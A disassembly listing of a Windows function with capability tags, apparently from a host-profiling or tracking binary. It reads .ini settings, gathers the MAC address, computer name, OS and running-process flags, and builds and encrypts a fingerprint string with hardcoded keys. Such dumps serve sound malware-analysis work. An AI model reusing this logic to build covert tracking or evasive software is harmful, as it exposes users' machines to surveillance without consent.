Function at 0x40692c
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Get hostname
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x431f12
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2f14
call fcn.00410ea0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x12a4]
call fcn.00405700
mov byte [ebp - 4], 1
mov byte [ebp - 4], 2
mov eax, 1
test eax, eax
je 0x406993
mov dword [ebp - 0x2c2c], 0x2d
push 0x43a1c0
lea ecx, [ebp - 0x2c2c]
push ecx
call fcn.004112eb
jmp 0x406a7b
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1db0]
call fcn.00405700
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x64
push 0x64
lea ecx, [ebp - 0x1db0]
call fcn.0042600c
push eax
push 0x4402cc
push str.Tongji
push 0x4402dc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1db0]
call fcn.0042605b
lea ecx, [ebp - 0x1fbc]
call fcn.00405700
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x64
push 0x64
lea ecx, [ebp - 0x1fbc]
call fcn.0042600c
push eax
push 0x4402e4
push str.Count
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1fbc]
call fcn.0042605b
lea ecx, [ebp - 0x1dac]
call fcn.00405700
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x16dc]
call fcn.00405700
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x16b8]
call fcn.00405700
mov byte [ebp - 4], 0xc
push 0x4402fc
lea ecx, [ebp - 0x22d4]
call fcn.00425c71
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x196c]
call fcn.00405700
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x24c]
call fcn.00405700
mov byte [ebp - 4], 0xf
push fcn.00425c03
push fcn.00405700
push 0xa
push 4
lea eax, [ebp - 0x248]
push eax
call fcn.00411c57
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x1754], 0
mov dword [ebp - 0x27e8], 1
jmp 0x406bc8
mov ecx, dword [ebp - 0x27e8]
add ecx, 1
mov dword [ebp - 0x27e8], ecx
cmp dword [ebp - 0x27e8], 0xa
jge 0x406dc8
mov edx, dword [ebp - 0x27e8]
push edx
push 0x440300
lea eax, [ebp - 0x16b8]
push eax
call fcn.00423bd6
add esp, 0xc
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x64
push 0x64
lea ecx, [ebp - 0x1dac]
call fcn.0042600c
push eax
push 0x440304
lea ecx, [ebp - 0x16b8]
call fcn.00405760
push eax
push str.Process
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1dac]
call fcn.0042605b
push 0x2c
mov ecx, dword [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x1dac]
call fcn.00405760
push eax
lea edx, [ebp - 0x16dc]
push edx
call fcn.00429019
test eax, eax
je 0x406daa
push ecx
mov ecx, esp
mov dword [ebp - 0x2c44], esp
lea eax, [ebp - 0x16dc]
push eax
call fcn.00425978
mov dword [ebp - 0x2d58], eax
lea ecx, [ebp - 0x2c48]
push ecx
call fcn.00405b70
add esp, 8
mov dword [ebp - 0x2d5c], eax
mov edx, dword [ebp - 0x2d5c]
mov dword [ebp - 0x2d60], edx
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x2d60]
push eax
lea ecx, [ebp - 0x196c]
call fcn.00425d3c
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2c48]
call fcn.00425c03
push 0x444adc
lea ecx, [ebp - 0x196c]
push ecx
call fcn.004092a0
and eax, 0xff
test eax, eax
je 0x406d96
push 0x440314
lea edx, [ebp - 0x22d4]
push edx
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x406d09
lea eax, [ebp - 0x16b8]
push eax
lea ecx, [ebp - 0x22d4]
call fcn.00425d3c
lea ecx, [ebp - 0x196c]
push ecx
lea edx, [ebp - 0x24c]
push edx
lea eax, [ebp - 0x2c4c]
push eax
call fcn.00425e32
mov dword [ebp - 0x2d64], eax
mov ecx, dword [ebp - 0x2d64]
mov dword [ebp - 0x2d68], ecx
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x2d68]
push edx
lea ecx, [ebp - 0x24c]
call fcn.00425d3c
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2c4c]
call fcn.00425c03
lea eax, [ebp - 0x16b8]
push eax
mov ecx, dword [ebp - 0x1754]
lea edx, [ebp + ecx*4 - 0x248]
push edx
call fcn.00409280
and eax, 0xff
test eax, eax
je 0x406d96
lea eax, [ebp - 0x16b8]
push eax
mov ecx, dword [ebp - 0x1754]
lea ecx, [ebp + ecx*4 - 0x248]
call fcn.00425d3c
mov edx, dword [ebp - 0x220]
add edx, 1
mov dword [ebp - 0x220], edx
jmp 0x406c35
mov eax, dword [ebp - 0x1754]
add eax, 1
mov dword [ebp - 0x1754], eax
mov dword [ebp - 0x220], 0
jmp 0x406bb9
lea ecx, [ebp - 0x1968]
call fcn.00405700
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1750]
call fcn.00405700
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1964]
call fcn.00405700
mov byte [ebp - 4], 0x15
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x21d0]
push edx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x22d0]
push ecx
lea edx, [ebp - 0x27e4]
push edx
lea eax, [ebp - 0x21c]
push eax
call fcn.00411b10
add esp, 0x14
push 0x5f
push 0
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x1964]
push edx
call fcn.00429019
push 0x5f
push 1
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x1968]
push ecx
call fcn.00429019
push 0x5f
push 2
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x1750]
push eax
call fcn.00429019
mov dword [ebp - 0x18], str.00_00_00_00_00_00
call fcn.004065af
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x16d0]
call fcn.00405700
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x2c50]
push ecx
call fcn.004067a6
add esp, 4
mov dword [ebp - 0x2d6c], eax
mov edx, dword [ebp - 0x2d6c]
mov dword [ebp - 0x2d70], edx
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0x2d70]
push eax
lea ecx, [ebp - 0x16d0]
call fcn.00425d3c
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x2c50]
call fcn.00425c03
mov dword [ebp - 0x16b4], 0x10
lea ecx, [ebp - 0x16b4]
push ecx
lea edx, [ebp - 0x20d0]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.008191
lea ecx, [ebp - 0x20c0]
call fcn.00425c71
mov byte [ebp - 4], 0x18
push 0x440330
lea ecx, [ebp - 0x16cc]
call fcn.00425c71
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x174c]
call fcn.00405700
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x1d90], 0
jmp 0x406f4d
mov eax, dword [ebp - 0x1d90]
add eax, 1
mov dword [ebp - 0x1d90], eax
mov ecx, dword [ebp - 0x1d90]
cmp ecx, dword [ebp - 0x1754]
jge 0x407025
push 0x440334
mov edx, dword [ebp - 0x1d90]
lea eax, [ebp + edx*4 - 0x248]
push eax
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x406f95
push 0x440338
lea ecx, [ebp - 0x20c0]
call fcn.00425d8c
jmp 0x407020
push 0x44033c
mov ecx, dword [ebp - 0x1d90]
lea edx, [ebp + ecx*4 - 0x248]
push edx
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x406fc8
push 0x440340
lea ecx, [ebp - 0x16cc]
call fcn.00425d8c
jmp 0x407020
mov eax, dword [ebp - 0x1d90]
lea ecx, [ebp + eax*4 - 0x248]
push ecx
lea edx, [ebp - 0x174c]
push edx
lea eax, [ebp - 0x2c54]
push eax
call fcn.00425e32
mov dword [ebp - 0x2d74], eax
mov ecx, dword [ebp - 0x2d74]
mov dword [ebp - 0x2d78], ecx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x2d78]
push edx
lea ecx, [ebp - 0x174c]
call fcn.00425d3c
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2c54]
call fcn.00425c03
jmp 0x406f3e
lea ecx, [ebp - 0x27e0]
call fcn.00405700
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x16b0]
call fcn.00405780
lea eax, [ebp - 0x2c58]
push eax
call fcn.00423ccd
push eax
lea ecx, [ebp - 0x16b0]
call fcn.004092c0
push 0x440344
lea ecx, [ebp - 0x2c5c]
push ecx
lea ecx, [ebp - 0x16b0]
call fcn.00423ce0
mov dword [ebp - 0x2d7c], eax
mov edx, dword [ebp - 0x2d7c]
mov dword [ebp - 0x2d80], edx
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x2d80]
push eax
lea ecx, [ebp - 0x27e0]
call fcn.00425d3c
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x2c5c]
call fcn.00425c03
push 0
call fcn.00411a34
add esp, 4
push eax
call fcn.00411a05
add esp, 4
lea ecx, [ebp - 0x1da8]
call fcn.00405700
mov byte [ebp - 4], 0x1e
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
call fcn.00411a12
cdq
mov ecx, 9
idiv ecx
push edx
push str._d_d_d_d_d_d_d_d_d
lea edx, [ebp - 0x1da8]
push edx
call fcn.00423bd6
add esp, 0x2c
push 0x440374
lea eax, [ebp - 0x1968]
push eax
lea ecx, [ebp - 0x2c60]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2d84], eax
mov edx, dword [ebp - 0x2d84]
mov dword [ebp - 0x2d88], edx
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x1750]
push eax
mov ecx, dword [ebp - 0x2d88]
push ecx
lea edx, [ebp - 0x2c64]
push edx
call fcn.00425e32
mov dword [ebp - 0x2d8c], eax
mov eax, dword [ebp - 0x2d8c]
mov dword [ebp - 0x2d90], eax
mov byte [ebp - 4], 0x20
push 0x440370
mov ecx, dword [ebp - 0x2d90]
push ecx
lea edx, [ebp - 0x2c68]
push edx
call fcn.00425e98
mov dword [ebp - 0x2d94], eax
mov eax, dword [ebp - 0x2d94]
mov dword [ebp - 0x2d98], eax
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x2d98]
push edx
lea eax, [ebp - 0x2c6c]
push eax
call fcn.00425e98
mov dword [ebp - 0x2d9c], eax
mov ecx, dword [ebp - 0x2d9c]
mov dword [ebp - 0x2da0], ecx
mov byte [ebp - 4], 0x22
push 0x44036c
mov edx, dword [ebp - 0x2da0]
push edx
lea eax, [ebp - 0x2c70]
push eax
call fcn.00425e98
mov dword [ebp - 0x2da4], eax
mov ecx, dword [ebp - 0x2da4]
mov dword [ebp - 0x2da8], ecx
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0x27e0]
push edx
mov eax, dword [ebp - 0x2da8]
push eax
lea ecx, [ebp - 0x2c74]
push ecx
call fcn.00425e32
mov dword [ebp - 0x2dac], eax
mov edx, dword [ebp - 0x2dac]
mov dword [ebp - 0x2db0], edx
mov byte [ebp - 4], 0x24
push str.____
mov eax, dword [ebp - 0x2db0]
push eax
lea ecx, [ebp - 0x2c78]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2db4], eax
mov edx, dword [ebp - 0x2db4]
mov dword [ebp - 0x2db8], edx
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x1da8]
push eax
mov ecx, dword [ebp - 0x2db8]
push ecx
lea edx, [ebp - 0x1960]
push edx
call fcn.00425e32
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2c78]
call fcn.00425c03
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x2c74]
call fcn.00425c03
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x2c70]
call fcn.00425c03
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x2c6c]
call fcn.00425c03
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x2c68]
call fcn.00425c03
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x2c64]
call fcn.00425c03
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x2c60]
call fcn.00425c03
lea ecx, [ebp - 0x195c]
call fcn.00405700
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x20d0]
push eax
push 0x440378
lea ecx, [ebp - 0x195c]
push ecx
call fcn.00423bd6
add esp, 0xc
lea edx, [ebp - 0x1968]
push edx
push str.uid
lea eax, [ebp - 0x2c7c]
push eax
call fcn.00425f0c
mov dword [ebp - 0x2dbc], eax
mov ecx, dword [ebp - 0x2dbc]
mov dword [ebp - 0x2dc0], ecx
mov byte [ebp - 4], 0x2f
push str.sid
mov edx, dword [ebp - 0x2dc0]
push edx
lea eax, [ebp - 0x2c80]
push eax
call fcn.00425e98
mov dword [ebp - 0x2dc4], eax
mov ecx, dword [ebp - 0x2dc4]
mov dword [ebp - 0x2dc8], ecx
mov byte [ebp - 4], 0x30
lea edx, [ebp - 0x1750]
push edx
mov eax, dword [ebp - 0x2dc8]
push eax
lea ecx, [ebp - 0x2c84]
push ecx
call fcn.00425e32
mov dword [ebp - 0x2dcc], eax
mov edx, dword [ebp - 0x2dcc]
mov dword [ebp - 0x2dd0], edx
mov byte [ebp - 4], 0x31
push str.fname
mov eax, dword [ebp - 0x2dd0]
push eax
lea ecx, [ebp - 0x2c88]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2dd4], eax
mov edx, dword [ebp - 0x2dd4]
mov dword [ebp - 0x2dd8], edx
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x1964]
push eax
mov ecx, dword [ebp - 0x2dd8]
push ecx
lea edx, [ebp - 0x2c8c]
push edx
call fcn.00425e32
mov dword [ebp - 0x2ddc], eax
mov eax, dword [ebp - 0x2ddc]
mov dword [ebp - 0x2de0], eax
mov byte [ebp - 4], 0x33
push str.mac
mov ecx, dword [ebp - 0x2de0]
push ecx
lea edx, [ebp - 0x2c90]
push edx
call fcn.00425e98
mov dword [ebp - 0x2de4], eax
mov eax, dword [ebp - 0x2de4]
mov dword [ebp - 0x2de8], eax
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x2de8]
push edx
lea eax, [ebp - 0x2c94]
push eax
call fcn.00425e98
mov dword [ebp - 0x2dec], eax
mov ecx, dword [ebp - 0x2dec]
mov dword [ebp - 0x2df0], ecx
mov byte [ebp - 4], 0x35
push str.os
mov edx, dword [ebp - 0x2df0]
push edx
lea eax, [ebp - 0x2c98]
push eax
call fcn.00425e98
mov dword [ebp - 0x2df4], eax
mov ecx, dword [ebp - 0x2df4]
mov dword [ebp - 0x2df8], ecx
mov byte [ebp - 4], 0x36
lea edx, [ebp - 0x16d0]
push edx
mov eax, dword [ebp - 0x2df8]
push eax
lea ecx, [ebp - 0x2c9c]
push ecx
call fcn.00425e32
mov dword [ebp - 0x2dfc], eax
mov edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e00], edx
mov byte [ebp - 4], 0x37
push str.pcname
mov eax, dword [ebp - 0x2e00]
push eax
lea ecx, [ebp - 0x2ca0]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2e04], eax
mov edx, dword [ebp - 0x2e04]
mov dword [ebp - 0x2e08], edx
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x195c]
push eax
mov ecx, dword [ebp - 0x2e08]
push ecx
lea edx, [ebp - 0x2ca4]
push edx
call fcn.00425e32
mov dword [ebp - 0x2e0c], eax
mov eax, dword [ebp - 0x2e0c]
mov dword [ebp - 0x2e10], eax
mov byte [ebp - 4], 0x39
push str.ver1.1ora
mov ecx, dword [ebp - 0x2e10]
push ecx
lea edx, [ebp - 0x2ca8]
push edx
call fcn.00425e98
mov dword [ebp - 0x2e14], eax
mov eax, dword [ebp - 0x2e14]
mov dword [ebp - 0x2e18], eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x22d4]
push ecx
mov edx, dword [ebp - 0x2e18]
push edx
lea eax, [ebp - 0x2cac]
push eax
call fcn.00425e32
mov dword [ebp - 0x2e1c], eax
mov ecx, dword [ebp - 0x2e1c]
mov dword [ebp - 0x2e20], ecx
mov byte [ebp - 4], 0x3b
push str.pros
mov edx, dword [ebp - 0x2e20]
push edx
lea eax, [ebp - 0x2cb0]
push eax
call fcn.00425e98
mov dword [ebp - 0x2e24], eax
mov ecx, dword [ebp - 0x2e24]
mov dword [ebp - 0x2e28], ecx
mov byte [ebp - 4], 0x3c
lea edx, [ebp - 0x24c]
push edx
mov eax, dword [ebp - 0x2e28]
push eax
lea ecx, [ebp - 0x2cb4]
push ecx
call fcn.00425e32
mov dword [ebp - 0x2e2c], eax
mov edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e30], edx
mov byte [ebp - 4], 0x3d
push str.type0one1two1wb
mov eax, dword [ebp - 0x2e30]
push eax
lea ecx, [ebp - 0x2cb8]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2e34], eax
mov edx, dword [ebp - 0x2e34]
mov dword [ebp - 0x2e38], edx
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x16cc]
push eax
mov ecx, dword [ebp - 0x2e38]
push ecx
lea edx, [ebp - 0x2cbc]
push edx
call fcn.00425e32
mov dword [ebp - 0x2e3c], eax
mov eax, dword [ebp - 0x2e3c]
mov dword [ebp - 0x2e40], eax
mov byte [ebp - 4], 0x3f
push str.vm
mov ecx, dword [ebp - 0x2e40]
push ecx
lea edx, [ebp - 0x2cc0]
push edx
call fcn.00425e98
mov dword [ebp - 0x2e44], eax
mov eax, dword [ebp - 0x2e44]
mov dword [ebp - 0x2e48], eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x20c0]
push ecx
mov edx, dword [ebp - 0x2e48]
push edx
lea eax, [ebp - 0x2cc4]
push eax
call fcn.00425e32
mov dword [ebp - 0x2e4c], eax
mov ecx, dword [ebp - 0x2e4c]
mov dword [ebp - 0x2e50], ecx
mov byte [ebp - 4], 0x41
push str.sd
mov edx, dword [ebp - 0x2e50]
push edx
lea eax, [ebp - 0x2cc8]
push eax
call fcn.00425e98
mov dword [ebp - 0x2e54], eax
mov ecx, dword [ebp - 0x2e54]
mov dword [ebp - 0x2e58], ecx
mov byte [ebp - 4], 0x42
lea edx, [ebp - 0x174c]
push edx
mov eax, dword [ebp - 0x2e58]
push eax
lea ecx, [ebp - 0x2ccc]
push ecx
call fcn.00425e32
mov dword [ebp - 0x2e5c], eax
mov edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], edx
mov byte [ebp - 4], 0x43
push 0x44037c
mov eax, dword [ebp - 0x2e60]
push eax
lea ecx, [ebp - 0x2cd0]
push ecx
call fcn.00425e98
mov dword [ebp - 0x2e64], eax
mov edx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e68], edx
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x1960]
push eax
mov ecx, dword [ebp - 0x2e68]
push ecx
lea edx, [ebp - 0x12a0]
push edx
call fcn.00425e32
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x2cd0]
call fcn.00425c03
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x2ccc]
call fcn.00425c03
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x2cc8]
call fcn.00425c03
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x2cc4]
call fcn.00425c03
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x2cc0]
call fcn.00425c03
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x2cbc]
call fcn.00425c03
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x2cb8]
call fcn.00425c03
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x2cb4]
call fcn.00425c03
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x2cb0]
call fcn.00425c03
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x2cac]
call fcn.00425c03
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x2ca8]
call fcn.00425c03
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x2ca4]
call fcn.00425c03
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x2ca0]
call fcn.00425c03
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x2c9c]
call fcn.00425c03
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x2c98]
call fcn.00425c03
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x2c94]
call fcn.00425c03
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x2c90]
call fcn.00425c03
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x2c8c]
call fcn.00425c03
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x2c88]
call fcn.00425c03
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x2c84]
call fcn.00425c03
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x2c80]
call fcn.00425c03
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x2c7c]
call fcn.00425c03
lea ecx, [ebp - 0x16c8]
call fcn.00405700
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x16d8]
call fcn.00405700
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x1748], 0
lea ecx, [ebp - 0x12a0]
call fcn.004091c0
push eax
lea ecx, [ebp - 0x12a0]
call fcn.0042600c
mov dword [ebp - 0x16ac], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x12a0]
call fcn.0042605b
lea ecx, [ebp - 0x1298]
call fcn.0040126b
mov byte [ebp - 4], 0x5e
push 0
push str.MTk2ODExMjA
lea eax, [ebp - 0x1d8c]
push eax
call fcn.00408e30
add esp, 0xc
push 8
lea ecx, [ebp - 0x1d8c]
push ecx
lea ecx, [ebp - 0x1298]
call fcn.00403b94
mov edx, dword [ebp - 0x16ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1748], eax
mov eax, dword [ebp - 0x16ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x1748]
push ecx
call fcn.00411470
add esp, 0xc
mov edx, dword [ebp - 0x16ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 0x16ac]
push eax
mov ecx, dword [ebp - 0x1748]
push ecx
call fcn.004116d0
add esp, 0xc
mov edx, dword [ebp - 0x16ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x4079bd
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x4079d6
mov eax, dword [ebp - 0x16ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x2e6c], eax
jmp 0x407a0b
mov ecx, dword [ebp - 0x16ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x4079ef
dec eax
or eax, 0xfffffff8
inc eax
mov esi, 8
sub esi, eax
mov edx, dword [ebp - 0x16ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov dword [ebp - 0x2e6c], eax
mov eax, dword [ebp - 0x2e6c]
mov dword [ebp - 0x1fb8], eax
mov ecx, dword [ebp - 0x1fb8]
push ecx
mov edx, dword [ebp - 0x1748]
push edx
lea ecx, [ebp - 0x1298]
call fcn.00403c03
mov eax, dword [ebp - 0x1fb8]
push eax
mov ecx, dword [ebp - 0x1748]
push ecx
lea edx, [ebp - 0x1958]
push edx
call fcn.00408b70
add esp, 0xc
mov dword [ebp - 0x27dc], 0
lea eax, [ebp - 0x1958]
mov dword [ebp - 0x14], eax
push 0
push str.MTk5MDAxMTA
lea ecx, [ebp - 0x1da4]
push ecx
call fcn.00408e30
add esp, 0xc
push 8
lea edx, [ebp - 0x1da4]
push edx
lea ecx, [ebp - 0x1298]
call fcn.00403b94
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x27dc], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0
mov edx, dword [ebp - 0x27dc]
push edx
call fcn.00411470
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x27dc]
push edx
call fcn.004116d0
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x407af9
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x407b0f
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x2e70], eax
jmp 0x407b3e
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x407b25
dec eax
or eax, 0xfffffff8
inc eax
mov esi, 8
sub esi, eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov dword [ebp - 0x2e70], eax
mov ecx, dword [ebp - 0x2e70]
mov dword [ebp - 0x1758], ecx
mov edx, dword [ebp - 0x1758]
push edx
mov eax, dword [ebp - 0x27dc]
push eax
lea ecx, [ebp - 0x1298]
call fcn.00403c03
mov ecx, dword [ebp - 0x1758]
push ecx
mov edx, dword [ebp - 0x27dc]
push edx
lea eax, [ebp - 0x1d78]
push eax
call fcn.00408b70
add esp, 0xc
lea ecx, [ebp - 0x1958]
push ecx
push 0x440418
lea edx, [ebp - 0x16c8]
push edx
call fcn.00423bd6
add esp, 0xc
lea eax, [ebp - 0x1d78]
push eax
push 0x44041c
lea ecx, [ebp - 0x16d8]
push ecx
call fcn.00423bd6
add esp, 0xc
lea edx, [ebp - 0x16c8]
push edx
push str.count
lea eax, [ebp - 0x2cd8]
push eax
call fcn.00425f0c
mov dword [ebp - 0x2e74], eax
mov ecx, dword [ebp - 0x2e74]
mov dword [ebp - 0x2e78], ecx
mov byte [ebp - 4], 0x5f
push str.key
mov edx, dword [ebp - 0x2e78]
push edx
lea eax, [ebp - 0x2cdc]
push eax
call fcn.00425e98
mov dword [ebp - 0x2e7c], eax
mov ecx, dword [ebp - 0x2e7c]
mov dword [ebp - 0x2e80], ecx
mov byte [ebp - 4], 0x60
push ecx
mov edx, esp
mov dword [ebp - 0x2cd4], esp
lea eax, [ebp - 0x16d8]
push eax
mov ecx, dword [ebp - 0x2e80]
push ecx
push edx
call fcn.00425e32
mov dword [ebp - 0x2e84], eax
mov edx, dword [ebp - 0x2e84]
mov dword [ebp - 0x2e88], edx
mov byte [ebp - 4], 0x61
push ecx
mov ecx, esp
mov dword [ebp - 0x2ce0], esp
lea eax, [ebp - 0x1db0]
push eax
call fcn.00425978
mov dword [ebp - 0x2e8c], eax
mov byte [ebp - 4], 0x60
call fcn.00406313
add esp, 8
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2cdc]
call fcn.00425c03
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x2cd8]
call fcn.00425c03
lea ecx, [ebp - 0x16d4]
call fcn.00405700
mov byte [ebp - 4], 0x62
mov dword [ebp - 0x1744], 0
lea ecx, [ebp - 0x1960]
call fcn.004091c0
push eax
lea ecx, [ebp - 0x1960]
call fcn.0042600c
mov dword [ebp - 0x27d8], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x1960]
call fcn.0042605b
mov ecx, dword [ebp - 0x27d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1744], eax
mov edx, dword [ebp - 0x27d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0
mov eax, dword [ebp - 0x1744]
push eax
call fcn.00411470
